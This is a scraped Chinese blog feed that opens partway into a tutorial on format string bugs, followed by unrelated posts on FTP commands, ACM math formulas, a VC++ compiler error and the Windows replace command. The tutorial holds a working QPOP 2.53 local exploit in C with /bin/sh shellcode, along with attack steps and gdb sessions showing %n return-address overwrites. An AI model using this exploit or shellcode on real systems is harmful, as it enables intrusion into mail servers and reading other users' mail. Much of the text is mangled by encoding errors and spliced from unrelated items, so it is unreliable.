/* q里变参ap按照format的格式输出到mp所指向的message[]?
   注意Q这里没有检查拷贝数据的大小Q?br />*/
        vsprintf(mp,format,ap);

.....

我们看到pop_euidl()中的buffer,本来应该出现在pop_msg()的第四个参数位置上,也就?br />pop_msg()的ap所指向的内容,正确的格式应该象下面q样Q?br />pop_msg (p,POP_SUCCESS, "%s", buffer);
q样׃buffer的长度是有限制的Qpop_msg()中的vsprintf()׃会生溢出?br />但由于程序员的疏忽,错误的将buffer攑֜了第三个参数的位|上Q其实就是pop_msg()?br />format所指向的内宏V而buffer中的部分内容是由用户提供的,因此如果用户输入的数
据中包含某些特别的打印格式,可能利用vsprintf()调用溢出message~冲区?br />
那么具体如何来做呢?我们知道打印格式中有个重要的部分是打印宽度,例如Q?.20d,%20d
%20s,%.20s{等。以printf("%.20d",num)ZQ如果整数num的长度小?0,printf()会在
它前面补零来使打印出来的长度?0,例如Q?br />printf("%.20d\n",12345);
打印l果如下Q?br />00000000000000012345

q让我们惛_Q是否可以通过定义打印宽度来填充message~冲区呢Q?br />如果我们构造buffer的内容让它象q个样子Q?br />
xxx%.2000d<RET><RET>...<RET>

那么vsprintf(mp,"xxx%.2000d<RET><RET>...<RET>",ap);
可能<RET>覆盖pop_msg()函数的返回地址,如果我们可以?lt;RET>q个地址中放入shellcode
,可能获得一个远Eshell了。由于通常Qpoper没有丢弃maill权限,因此我们可以获得一?br />gid=mail的shell,可以查看其他普通用L邮g....

Z辑ֈ我们的目标,我们需要做的事是:

<1> 发一邮件给要攻ȝ用户Q在X-UIDL:域中攑օ我们的shellcode,
    在From:域中攑օ%.2000d<RET><RET>...<RET>
    注意q个<RET>的地址需要通过调试才能定Q它应该指向我们的shellcode所在地址?br />    
<2> 以该用户w䆾登陆QPOP server,执行EUIDL num命oQ这里的num应该是我们刚才发?br />    的那特D邮件的序号?br />    
    如果一切顺利的话,你就可以得到一个gid mail的shell了?br />
下面我们提供一个简单的试E序Q它会给你一个本地的gid mail shell:
(你可能需要自p整retloc以及POP *p的地址才能成功)

<- begin ->  qpop2.53_local.c

/*  QPOP 2.53 local exploit .
*  code based on the sample exploit by Prizm/b0f.
*  usages:
*    [test@redhat-6 /tmp]$ ./qp 0xbfffcba4 0xbfffdbf8 >/var/spool/mail/test
*    [test@redhat-6 /tmp]$ nc localhost 110
*     
*     +OK QPOP (version 2.53) at localhost.localdomain starting.  
*     user test
*     +OK Password required for test.
*     pass 123456
*     +OK test has 1 message (307 octets).
*     euidl 1
*     <...snip...>
*     id
*     uid=514(test) gid=12(mail) groups=12(mail)  
*                                                   warning3@isbase.com
*                                                      y2k/5/28
*/

Qi nclude <stdio.h>
Qi nclude <string.h>

char shellcode[]=
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
   "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
   "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
   "\xff\xff/bin/sh....";

int main(int argc, char *argv[])
{
        int i;
        unsigned long ra=0;
        unsigned long p= 0xbffffdf8;
        if(argc<2) {
                fprintf(stderr,"Usage: %s return_addr POP(*)_addr\n", argv[0]);
                exit(0);
        }
        sscanf(argv[1], "%x", &ra);
        /* ׃pop_msg()发生溢出后还需要一个有效的POP *p指针才能正确l束Q所?br />         * 我们必须要提供一个有效的地址
         */
        sscanf(argv[2], "%x", &p);
        if(!ra)
                return;
        if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
                fprintf(stderr,"Bad shellcode\n");
                exit(0);
        }
        fprintf(stderr,"return address: 0x%.8x\n", ra);
        fprintf(stderr,"p address: 0x%.8x\n", p);
        printf("From root  Sun May 28 17:29:37 2000\n");
        printf("Date: Sun, 28 May 2000 17:29:37 +0800\n");
        printf("From: %s", "%.500d%.500d%.500d%.398d");
        for(i=0; i < 20; i++)
          printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24); /* q箋的返回地址 */
        printf("%c%c%c%c", ( p& 0xff), (p & 0xff00)>>8, (p & 0xff0000)>>16, (p & 0xff000000)>>24);/* 有效的POP *p指针 */
        printf ("\n");
        printf ("Subject: haha\n");
        printf ("Message-Id: <200005280929.RAA03577@localhost.localdomain>\n");
        printf("X-UIDL: ");
        for(i=0; i < sizeof(shellcode);i++)
                printf("%c", shellcode[i]);
        printf("\n");
        printf ("\n\n");
        return 0;
}    
      
<- end ->


2. 问题二:格式化串D覆盖函数q回地址

========================================
我们再来看另外一个问题:%n的问题?%n在格式化中的意思是显C内容的长度输出C
个变量中厅R通常的用法是q样的:

<- begin ->  n_test.c

main()
{
  int num=0x41414141;
  
  printf("Before: num = %#x \n", num);
  printf("%.20d%n\n", num, &num);
  printf("After: num = %#x \n", num);

}

<- end ->  

[warning3@redhat-6 format]$ ./n_test
Before: num = 0x41414141
00000000001094795585
After: num = 0x14

我们看到Q变量num的值已l变成了0x14(20),也就是说Q因为我们的E序中将变量num的地
址压入堆栈Q作为printf()的第二个参数Q?n会将打印总长度保存到对应参数的地址中去?br />那么如果我们不将num的地址压入堆栈会发生什么事情呢Q?br />

[warning3@redhat-6 format]$ vi n_test.c

<- begin ->  n_test1.c

main()
{
  int num=0x41414141;

  printf("Before: num = %#x \n", num);
  printf("%.20d%n\n", num);            /* 注意Q我们没有压num的地址入栈 */
  printf("After: num = %#x \n", num);

}

<- end ->  

[warning3@redhat-6 format]$ ./n_test1
Before: num = 0x41414141
Segmentation fault (core dumped)      <--- 在执行第二个printf()时就发生D错误了
[warning3@redhat-6 format]$ gdb ./n_test core
GNU gdb 4.18
<...>
#0  0x4005d897 in _IO_vfprintf (s=0x40104c60, format=0x8048474 "%.20d%n\n",
    ap=0xbffffca8) at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) x/i $pc                         <--- 我们看看下一条指令是什?
0x4005d897 <_IO_vfprintf+2455>: mov    %eax,(%ecx)   <--- ?eax的值填?ecx?br />                                                          的地址?br />(gdb) i r $ecx                                       <--- 目的地址?0x41414141
ecx            0x41414141       1094795585
(gdb) i r $eax
eax            0x14     20                           <--- 填充内容?x14(20)
(gdb)

很明显,q就是在执行%n操作的时候发生了D错误,0x41414141肯定是不能访问的。我?br />注意到num的初始值就?x41414141,两者是不是有什么联pdQ其实从前面关于fmt_test.c
的讨论我们就应该可以看出来,printf()堆栈中main()函数的变量num当作?n所对应?br />参数Q因此会?x14保存?x41414141中去。聪明的读者应该可以想刎ͼ如果我们可以控制
num的内容,那么不就意味着可以修改L地址Q当然是允许写入的地址)的内容了Q是的?br />我们首先惛_的是覆盖函数的返回地址Q让我们修改一下程序:

<- begin ->  n_test2.c

main()
{
  int num=0xbffffcbc;

  printf("Press Any Key to Continue...\n");
  getchar();
  printf("Before: num = %#x \n", num);
  printf("%.1094795585u%n\n", num);  /* 1094795585 = 0x41414141 */
  printf("After: num = %#x \n", num);

}

<- end ->  


q里的num的值是main()函数的返回地址Q我们的目的是将0x41414141覆盖main()函数
的返回地址Q这样从main()函数q回时就会蟩?x41414141去运行,当然q会DD错
误,q里只是举个例子而已?br />至于getchar()的作用,Ua是ؓ了调试方便,一会你׃明白Z么要加这个东ѝ?br />l心的读者可能会发现我将%d换成?u,q是因ؓ如果?br />打印的gؓ负数Qprintf会自动在前面加上一?-'Pq样实际的打印结果长度就?br />加上一Q在q个例子中,我们可能蟩?x41414142MQ当然这里对我们q没有什?br />影响Q如果我们有很多%d,例如Q?%d%d%d...%d%d",我们׃能简单的Ҏ"%d"的个数来
计算昄l果的长度,q要考虑可能?-'h目。ؓ了简便v见,我们?u来显C,?br />会按无符h数来昄l果Q就不用考虑'-'L情况?br />
让我们来看看q行l果Q这是在一台RedHat 6.1下运行的l果Q?br />[warning3@redhat-6 format]$ gcc -o n2 -g n_test2.c
[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue...

q时我们再开一个终端[tty2]来调试:
<在终端tty2?gt;

[warning3@redhat-6 format]$ gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
GNU gdb 4.18
<......>
Attaching to program: /home/warning3/format/./n2, Pid 28428
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400bcdb4 in __libc_read () from /lib/libc.so.6
(gdb) bt
#0  0x400bcdb4 in __libc_read () from /lib/libc.so.6
#1  0x4010648c in __DTOR_END__ () from /lib/libc.so.6
#2  0x4006c7a1 in _IO_new_file_underflow (fp=0x40104ba0) at fileops.c:385
#3  0x4006e6f1 in _IO_default_uflow (fp=0x40104ba0) at genops.c:371
#4  0x4006db5c in __uflow (fp=0x40104ba0) at genops.c:328
#5  0x4006af56 in getchar () at getchar.c:37
#6  0x8048417 in main () at n_test2.c:6
(gdb) i f 6
Stack frame at 0xbffffcb8:
eip = 0x8048417 in main (n_test2.c:6); saved eip 0x400301eb
caller of frame at 0xbffffcac
source language c.
Arglist at 0xbffffcb8, args:
Locals at 0xbffffcb8, Previous frame's sp is 0x0
Saved registers:
  ebp at 0xbffffcb8, eip at 0xbffffcbc      ---> q是main函数保存q回地址的地方,
                                                  也是num初始?
(gdb) c                 ---> 让跟t的E序l箋q行       
Continuing.

现在我们再切换到原先的终端上Ql执行我们的E序Q?br />[warning3@redhat-6 format]$ ./n2
Press Any Key to Continue...  ---> 按一下回?

Before: num = 0xbffffcbc

我们再切到tty2来看发生了什么:
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.  ---> 发生了段讉K错误
0x4005dff0 in _IO_vfprintf (s=0x40104c60,
    format=0x80484d2 "%.1094795585u%n\n", ap=0xbffffcb4) at vfprintf.c:1259
1259    vfprintf.c: No such file or directory.

(gdb) x/6i $pc  ---> 看看我们要执行什么命令了
0x4005dff0 <_IO_vfprintf+4336>: movb   $0x30,(%esi)
0x4005dff3 <_IO_vfprintf+4339>: dec    %esi
0x4005dff4 <_IO_vfprintf+4340>: mov    0xfffffad8(%ebp),%eax
0x4005dffa <_IO_vfprintf+4346>: decl   0xfffffad8(%ebp)
0x4005e000 <_IO_vfprintf+4352>: test   %eax,%eax
0x4005e002 <_IO_vfprintf+4354>: jg     0x4005dff0 <_IO_vfprintf+4336>

(gdb) i r $esi
esi            0xbfffdfff       -1073750017
(gdb) i r $eax
eax            0x41412b43       1094789955  ----> q有0x41412b43?0'要填?br />(gdb) x/200x $esi
0xbfffdfff:     0x30303000      0x30303030      0x30303030      0x30303030
0xbfffe00f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe01f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe02f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe03f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe04f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe05f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe06f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe07f:     0x30303030      0x30303030      0x30303030      0x30303030
0xbfffe08f:     0x30303030      0x30303030      0x30303030      0x30303030
<....>

我们看到q几句程序将0x30('0')往堆栈端(低地址方向)中填充,实际上就是ؓ昄
"%.1094795585u"中指定的'0'做准备。好像堆栈太了Q不以存放q么?0',让我?br />再来看看./n2执行时的内存映射Q?br />
^Z
[1]+  Stopped                 gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`
[warning3@redhat-6 format]$ cat /proc/28428/maps
08048000-08049000 r-xp 00000000 03:06 168475     /home/warning3/format/n2
08049000-0804a000 rw-p 00000000 03:06 168475     /home/warning3/format/n2
40000000-40012000 r-xp 00000000 03:06 144892     /lib/ld-2.1.2.so
40012000-40013000 rw-p 00012000 03:06 144892     /lib/ld-2.1.2.so
40013000-40015000 rw-p 00000000 00:00 0
40018000-40103000 r-xp 00000000 03:06 144899     /lib/libc-2.1.2.so
40103000-40107000 rw-p 000ea000 03:06 144899     /lib/libc-2.1.2.so
40107000-4010b000 rw-p 00000000 00:00 0
bfffe000-c0000000 rwxp fffff000 00:00 0

从上面我们可以看到可写的堆栈D|从bfffe000-c0000000之间的地址I间Q而前面的语句
要将0x30('0')写入0xbfffdfff,q个地址已经不在堆栈D中Q因此会发生D访问错误。程
序也执行不下去了。因此,在RedHat 6.1中,我们不能单的直接?.RET%n的方式来?br />盖函数返回地址Q因为通常RET都是在堆栈段中,即通常大于0xbfff0000,q是个相当大的数
|RedHat 6.1的glibc中的vfprintf()不能正常昄q么多的'0',而RedHat 6.2中的glibc
所带的vfprintf()则可以,也就是说Q上面的E序在RedHat 6.2?q条语句Q?br />printf("%.1094795585u%n\n", num);
可以正常l束Q然后main()的返回地址被覆盖成0x41414141?br />但是我ƈ不徏议读者直接在RedHat 6.2下运行这个程序,因ؓ它会打印非常多的0,你需?br />有够的耐心才能{待它结? :-)

<1> dҎ一Q直接覆盖返回地址
=================================

我们看另外一个简单的问题E序Q我们会先在RedHat 6.2上进行攻L试:


<- begin ->  vul.c

/*  A simple vulnerable example for format bug.
*                                 warning3@nsfocus.com
*/

Qi nclude <stdarg.h>
Qi nclude <unistd.h>
Qi nclude <syslog.h>

#define BUFSIZE 1024

int log(int level, char *fmt,...)
{
   char buf[BUFSIZE];
   va_list ap;
  
   va_start(ap, fmt);
   vsnprintf(buf, sizeof(buf)-1, fmt, ap);
   buf[BUFSIZE-1] = '\0';
   syslog(level, "[hmm]: %s", buf);
   va_end(ap);
}


int main(int argc, char **argv)
{

  char buf[BUFSIZE];
  int num,i;
  
  num = argc ;

  if(argc > 1) {
     for ( i = 1 ; i < num ; i ++ ) {
            snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
            buf[BUFSIZE-1] = '\0';
            log(LOG_ALERT, buf);  // q里有问?br />            printf("argv[%d] = %s \n", i, argv[i]);
    }
  }
}
<- end ->  

q个有问题的E序在调用子函数log()的时候,错误的将buf攑ֈ?fmt所对应的位|上Q?br />而buf的内容中的一部分是用戯入的Q而且没有做Q何检查。虽然程序其余地斚w比较
心C用了vsnprintf(),snprintf(),不会发生通常的缓冲区溢出问题。但q个格式?br />串的错误也将是致命的?br />
我们先来分析一下如何进行攻凅R我们看到main()函数会将命o行参数拷贝到buf中去?br />前面q加上了"argv[%d] = "字符Ԍ在参C数小?0的情况下Q这个字W串的长度ؓ
10字节。我们考虑构造这L字符串作为命令行参数Q?br />"align|RET|%d%d...%.SH_RETd|%n"

"align"Q  用来调整buf开头的数据长度?的整?br />"RET":     是main()或者log()函数的返回地址位置Q我们会shellcode的地址攑ֈRET中去Q?br />"SH_RET":  我们存放shellcode的地址
"%d...%d": q些%d用来?n所对应的地址刚好是储存RET的地址

我们来看看在W一ơ调用log()Ӟ堆栈中的情况

  保存ebp 保存eip 参数1     参数2  变量i 变量num  ~冲区buf
-----------------------------------------------------------------------
|  EBP  |  EIP  |LOG_ALERT| &buf |  i  |  num  |"argv[1] = "| argv[1] |  
-----------------------------------------------------------------------
                           ^      ^                         
                           |__fmt |__ap
低址  ---------------------->---------------------------------->  高址

                          
在执行完  va_start(ap, fmt) 后,变参指针ap指向fmt的下一个地址Q也是main()
函数局部变量i的地址Q如果我们提供的argv[1]的是q样的字W串:
"xxabcd%d%d%d%d%d%p"
那么堆栈中的情况是q样:


保存ebp 保存eip 参数1     参数2 变量i 变量num  ~冲区buf
--------------------------------------------------------------------------------
|  EBP  |  EIP  |LOG_ALERT| &buf |  i | num |"argv[1] = xx"|"abcd"|%d%d%d%d%d%p|
--------------------------------------------------------------------------------
                           ^      ^ 4B   4B   12B          ^  RET             |       
                           |__fmt |__ap                    |__________________|
                               
低址  ---------------------->---------------------------------->  高址

因ؓ"argv[1] = "长是10字节Q我们用两个字节"xx"来其变?的整数?12字节。因此,
从变量i的地址?abcd"之间共有4+4+12=20字节Q?0/4=5,因此我们需要用5?d来对应这5
个地址Q这h后一个格式化?p对应了"abcd"的地址Q因此打印出来应该是:
"0x64636261"
                                 
[root@rh62 format]# ./vul xxabcd%d%d%d%d%d%p
argv[1] = xxabcd%d%d%d%d%d%p
[root@rh62 format]# tail -1 /var/log/messages
Jul 12 04:13:08 rh62 vul: [hmm]: argv[1] = xxabcd2119864909775429783952021138493
0x64636261

注意最后的0x64636261,q说明我们前面的分析是正的。如果我们将%p换成%n,vsnprintf
()׃打印长度存攑ֈ0x64636261中去Q当然这肯定会导致段错误

[root@rh62 format]# gdb ./vul
GNU gdb 19991004
<...>
(gdb) r xxabcd%d%d%d%d%d%n
Starting program: /root/./vul xxabcd%d%d%d%d%d%n


Program received signal SIGSEGV, Segmentation fault.
0x400622b7 in _IO_vfprintf (s=0xbffff224,
    format=0xbffff738 "argv[1] = xxabcd%d%d%d%d%d%n", ap=0xbffff748)
    at vfprintf.c:1212
1212    vfprintf.c: No such file or directory.
(gdb) x/i $pc
0x400622b7 <_IO_vfprintf+2455>: mov    %eax,(%ecx)
(gdb) i reg $eax $ecx
eax            0x2f     47
ecx            0x64636261       1684234849
(gdb)

我们看到Qeax中保存的是打印的总长?47, vsnprintf()在将q个g存到$ecx中去?br />发生了段错误。如果我们将RET换成保存main函数q回地址的地址Q就会将q个长度存放
到那里去Q如果这个长度的值刚好等于我们存放shellcode的地址Q那么当main()q回?br />׃跛_我们的shellcode去运行了?img src ="http://www.shnenglu.com/asp/aggbug/13921.html" width = "1" height = "1" />

Asp 2006-10-20 20:54 发表评论
]]>
FTP命o大全http://www.shnenglu.com/asp/archive/2006/10/20/13920.htmlAspAspFri, 20 Oct 2006 12:48:00 GMThttp://www.shnenglu.com/asp/archive/2006/10/20/13920.htmlhttp://www.shnenglu.com/asp/comments/13920.htmlhttp://www.shnenglu.com/asp/archive/2006/10/20/13920.html#Feedback0http://www.shnenglu.com/asp/comments/commentRss/13920.htmlhttp://www.shnenglu.com/asp/services/trackbacks/13920.htmlFTP命o是Internet用户使用最频繁的命令之一Q熟悉ƈ灉|应用FTP的内部命令,可以大大方便使用者,q收C半功倍之效?br />如果你想学习使用q行后台FTP下蝲Q那么就必须学习FTP指o?br />FTP的命令行格式为: ftp -v -d -i -n -g [L名] Q?br />其中 -v 昄q程服务器的所有响应信息;
-n 限制ftp的自动登录,即不使用Q?n etrc文gQ?br />-d 使用调试方式Q?br />-g 取消全局文g名?br />FTP使用的内部命令如?中括可C可选项):
1.![cmd[args>Q在本地Z执行交互shellQexit回到ftp环境Q如Q?ls*.zip
2.$ macro-ame[args]Q?执行宏定义macro-name?br />3.account[password]Q?提供dq程pȝ成功后访问系l资源所需的补充口令?br />4.append local-file[remote-file]Q将本地文gq加到远E系l主机,若未指定q程pȝ文g名,则用本地文件名?br />5.asciiQ用asciicd传输方式?br />6.bellQ每个命令执行完毕后计算机响铃一ơ?br />7.binQ用二q制文g传输方式?br />8.byeQ退出ftp会话q程?br />9.caseQ在使用mgetӞ远E主机文件名中的大写转ؓ写字母?br />10.cd remote-dirQ进入远E主机目录?br />11.cdupQ进入远E主机目录的父目录?br />12.chmod mode file-nameQ将q程L文gfile-name的存取方式设|ؓmodeQ如Qchmod 777 a.out?br />13.closeQ中断与q程服务器的ftp会话(与open对应)?br />14.crQ用asscii方式传输文gӞ回车换行{换ؓ回行?br />15.delete remote-fileQ删除远E主机文件?br />16.debug[debug-value]Q设|调试方式, 昄发送至q程L的每条命令,如:deb up 3Q若设ؓ0Q表C取消debug?br />17.dir[remote-dir][local-file]Q显CE主机目录,q将l果存入本地文g
18.disconnectionQ同close?br />19.form formatQ将文g传输方式讄为formatQ缺省ؓfile方式?br />20.get remote-file[local-file]Q?远E主机的文gremote-file传至本地盘的local-file?br />21.globQ设|mdeleteQmgetQmput的文件名扩展Q缺省时不扩展文件名Q同命o行的-g参数?br />22.hashQ每传输1024字节Q显CZ个hashW号(#)?br />23.help[cmd]Q显Cftp内部命ocmd的帮助信息,如:help get?br />24.idle[seconds]Q将q程服务器的休眠计时器设为[seconds]U?br />25.imageQ设|二q制传输方式(同binary)?br />26.lcd[dir]Q将本地工作目录切换至dir?br />27.ls[remote-dir][local-file]Q显CE目录remote-dirQ?q存入本地文件local-file?br />28.macdef macro-nameQ定义一个宏Q遇到macdef下的IӞ宏定义结束?br />29.mdelete[remote-file]Q删除远E主机文件?br />30.mdir remote-files local-fileQ与dircMQ但可指定多个远E文Ӟ?Qmdir *.o.*.zipoutfile ?br />31.mget remote-filesQ传输多个远E文件?br />32.mkdir dir-nameQ在q程L中徏一目录?br />33.mls remote-file local-fileQ同nlistQ但可指定多个文件名?br />34.mode[modename]Q将文g传输方式讄为modenameQ?~省为stream方式?br />35.modtime file-nameQ显CE主机文件的最后修Ҏ间?br />36.mput local-fileQ将多个文g传输臌E主机?br />37.newer file-nameQ?如果q程Zfile-name的修Ҏ间比本地盘同名文g的时间更q,则重传该文g?br />38.nlist[remote-dir][local-file]Q显CE主机目录的文g清单Qƈ存入本地盘的local-file?br />39.nmap[inpattern outpattern]Q设|文件名映射机制Q?使得文g传输Ӟ文g中的某些字符怺转换Q?如:nmap $1.$2.$3[$1Q?2].[$2Q?3]Q则传输文ga1.a2.a3Ӟ文g名变为a1Qa2?该命令特别适用于远E主Zؓ非UNIX机的情况?br />40.ntrans[inchars[outchars>Q设|文件名字符的翻译机Ӟ如ntrans1RQ则文g名LLL变为RRR?br />41.open host[port]Q徏立指定ftp服务器连接,可指定连接端口?br />42.passiveQ进入被动传输方式?br />43.promptQ设|多个文件传输时的交互提C?br />44.proxy ftp-cmdQ在ơ要控制q接中,执行一条ftp命oQ?该命令允许连接两个ftp服务器,以在两个服务器间传输文g。第一条ftp命o必须为openQ以首先建立两个服务器间的连接?br />45.put local-file[remote-file]Q将本地文glocal-file传送至q程L?br />46.pwdQ显CE主机的当前工作目录?br />47.quitQ同byeQ退出ftp会话?br />48.quote arg1Qarg2...Q将参数逐字发至q程ftp服务器,如:quote syst.
49.recv remote-file[local-file]Q同get?br />50.reget remote-file[local-file]Q类ggetQ?但若local-file存在Q则从上ơ传输中断处l传?br />51.rhelp[cmd-name]Q请求获得远E主机的帮助?br />52.rstatus[file-name]Q若未指定文件名Q则昄q程L的状态, 否则昄文g状态?br />53.rename[from][to]Q更改远E主机文件名?br />54.resetQ清除回{队列?br />55.restart markerQ从指定的标志marker处,重新开始get或putQ如Qrestart 130?br />56.rmdir dir-nameQ删除远E主机目录?br />57.runiqueQ设|文件名只一性存储,若文件存在,则在原文件后加后~.1Q?.2{?br />58.send local-file[remote-file]Q同put?br />59.sendportQ设|PORT命o的用?br />60.site arg1Qarg2...Q将参数作ؓSITE命o逐字发送至q程ftpL?br />61.size file-nameQ显CE主机文件大,如:site idle 7200?br />62.statusQ显C当前ftp状态?br />63.struct[struct-name]Q将文g传输l构讄为struct-nameQ?~省时用streaml构?br />64.suniqueQ将q程L文g名存储设|ؓ只一(与runique对应)?br />65.systemQ显CE主机的操作pȝcd?br />66.tenexQ将文g传输cd讄为TENEX机的所需的类型?br />67.tickQ设|传输时的字节计数器?br />68.traceQ设|包跟踪?br />69.type[type-name]Q设|文件传输类型ؓtype-nameQ缺省ؓasciiQ如:type binaryQ设|二q制传输方式?br />70.umask[newmask]Q将q程服务器的~省umask讄为newmaskQ如Qumask 3
71.user user-name[password][account]Q向q程L表明自己的n份,需要口令时Q必输入口令,如:user anonymous
my@email ?br />72.verboseQ同命o行的-v参数Q即讄详尽报告方式Qftp 服务器的所有响 应都显C给用户Q缺省ؓon.
73.?[cmd]Q同help.


Asp 2006-10-20 20:48 发表评论
]]>ACM会用到的一Ҏ学知?/title><link>http://www.shnenglu.com/asp/archive/2006/10/14/13665.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Sat, 14 Oct 2006 03:24:00 GMT</pubDate><guid>http://www.shnenglu.com/asp/archive/2006/10/14/13665.html</guid><wfw:comment>http://www.shnenglu.com/asp/comments/13665.html</wfw:comment><comments>http://www.shnenglu.com/asp/archive/2006/10/14/13665.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.shnenglu.com/asp/comments/commentRss/13665.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/asp/services/trackbacks/13665.html</trackback:ping><description><![CDATA[1.贚w定理:a^p mod p=a (p为素敎ͼ且a不是p的倍数)<br /><br />2.数n的约C敎ͼ<br />n分解因数为p1^s1*p2^s2*……pm^sm<br />则约CCؓ(s1+1)*(s2+1)*…?(sm+1)<br /><br />3.Fibonacci数通项公式QFn=round((1+?)/2)^n/?<br /><br />4.Catalan数通项公式QCn=C(2n-2,n-1)/n<br />递归式:Cn=∑Ci*C(n-i) (i=1..n-1,C1=C2=1)<br /><br />5.W二cStirling敎ͼS(n,k)表示n个元素的集合拆分成k部分的数<br />S(n,k)=S(n-1,k-1)+k*S(n-1,k)<br /><br />6.整数分拆QP(n,k)-整数n分成k部分的数<br />P(n,k)=P(n-1,k-1)+P(n-k,k)<br /><br />7.方程x1+x2+…?xk=n (xi>=0)的解的个敎ͼC(n+k-1,k-1)<br />方程x1+x2+…?xk=n (xi>0)的解的个敎ͼC(n-1,k-1)<br /><img src ="http://www.shnenglu.com/asp/aggbug/13665.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/asp/" target="_blank">Asp</a> 2006-10-14 11:24 <a href="http://www.shnenglu.com/asp/archive/2006/10/14/13665.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Compiling... ,Error spawning cl.exehttp://www.shnenglu.com/asp/archive/2006/10/08/13465.htmlAspAspSun, 08 Oct 2006 12:09:00 GMThttp://www.shnenglu.com/asp/archive/2006/10/08/13465.htmlhttp://www.shnenglu.com/asp/comments/13465.htmlhttp://www.shnenglu.com/asp/archive/2006/10/08/13465.html#Feedback10http://www.shnenglu.com/asp/comments/commentRss/13465.htmlhttp://www.shnenglu.com/asp/services/trackbacks/13465.html    今天同学装了MS VC++6.0后,~译E序却出Cq个提示QCompiling... ,Error spawning cl.exeQ重装都没有用,好郁闷……之后正准备换本重新装的时候,我们在VC的工?〉选项-〉目录里面发C一样东西,里面的Include FilesQExecutable FilesQLibrary Files和Source Files下面的目录全部都不对Q我们是把VC++装到"D:\Program Files\Microsoft Visual Studio\VC98"下面Q但是里面写的全?C:\Program Files\Microsoft Visual Studio\VC98"Q于是立马改q来Q再试,OKQ居然就可以~译了……嘿嘎쀦?br />    后来在网上找才知道,cl.exe是VC++真正的编译程序,目录错了找不到q个E序了,所以就出错了,汗死了,不过也算是有Ҏ获…?/font>

Asp 2006-10-08 20:09 发表评论
]]>
100000以内的质数表http://www.shnenglu.com/asp/archive/2006/10/06/13400.htmlAspAspFri, 06 Oct 2006 14:50:00 GMThttp://www.shnenglu.com/asp/archive/2006/10/06/13400.htmlhttp://www.shnenglu.com/asp/comments/13400.htmlhttp://www.shnenglu.com/asp/archive/2006/10/06/13400.html#Feedback18http://www.shnenglu.com/asp/comments/commentRss/13400.htmlhttp://www.shnenglu.com/asp/services/trackbacks/13400.html阅读全文

Asp 2006-10-06 22:50 发表评论
]]>
XP一个很无敌的命?/title><link>http://www.shnenglu.com/asp/archive/2006/10/01/13204.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Sun, 01 Oct 2006 10:26:00 GMT</pubDate><guid>http://www.shnenglu.com/asp/archive/2006/10/01/13204.html</guid><wfw:comment>http://www.shnenglu.com/asp/comments/13204.html</wfw:comment><comments>http://www.shnenglu.com/asp/archive/2006/10/01/13204.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/asp/comments/commentRss/13204.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/asp/services/trackbacks/13204.html</trackback:ping><description><![CDATA[    XP有一个很无敌的命令,用来替换文g的replaceQ连正在使用的文件也能替换。非常无敌?比如Q在CQ下Z个目录,cQaaa Q然后复制一首mp3到c:aaaq命名ؓc:aaaa.mp3 Q然后再复制另一首歌到C:a.mp3 Q然后用media player 播放c:aaaa.mp3 Q在命o提示W下输入Qreplace c:a.mp3 c:aaa Q过一会,是不是播攄歌已变ؓ另一首? <p>用这个命令来替换pȝ文g真是太爽了,q且XP的系l文件保护也对它无效?再也不用到安全模式下L换文件了 </p><p>格式 </p><p>REPLACE [drive1:][path1]filename [drive2:][path2] [/A] [/P] [/R] [/W] </p><p>REPLACE [drive1:][path1]filename [drive2:][path2] [/P] [/R] [/S] [/W] </p><p>[drive1:][path1]filename 指定源文件?</p><p>[drive2:][path2] 指定要替换文件的 </p><p>目录</p><p>/A 把新文g加入目标目录。不能和/S ?/U 命o行开x配用?/P 替换文g或加入源文g之前会先提示您进行确认?/R 替换只读文g以及未受保护的文件?/S 替换目标目录中所有子目录的文件?不能?/A 命o选项搭配使用?</p><p>/W {您插入盘以后再运行?</p><p>/U 只会替换或更新比源文件日期早的文件?不能?/A 命o行开x配用?/p><img src ="http://www.shnenglu.com/asp/aggbug/13204.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/asp/" target="_blank">Asp</a> 2006-10-01 18:26 <a href="http://www.shnenglu.com/asp/archive/2006/10/01/13204.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WINDOWSpȝ文g详解http://www.shnenglu.com/asp/archive/2006/10/01/13203.htmlAspAspSun, 01 Oct 2006 10:25:00 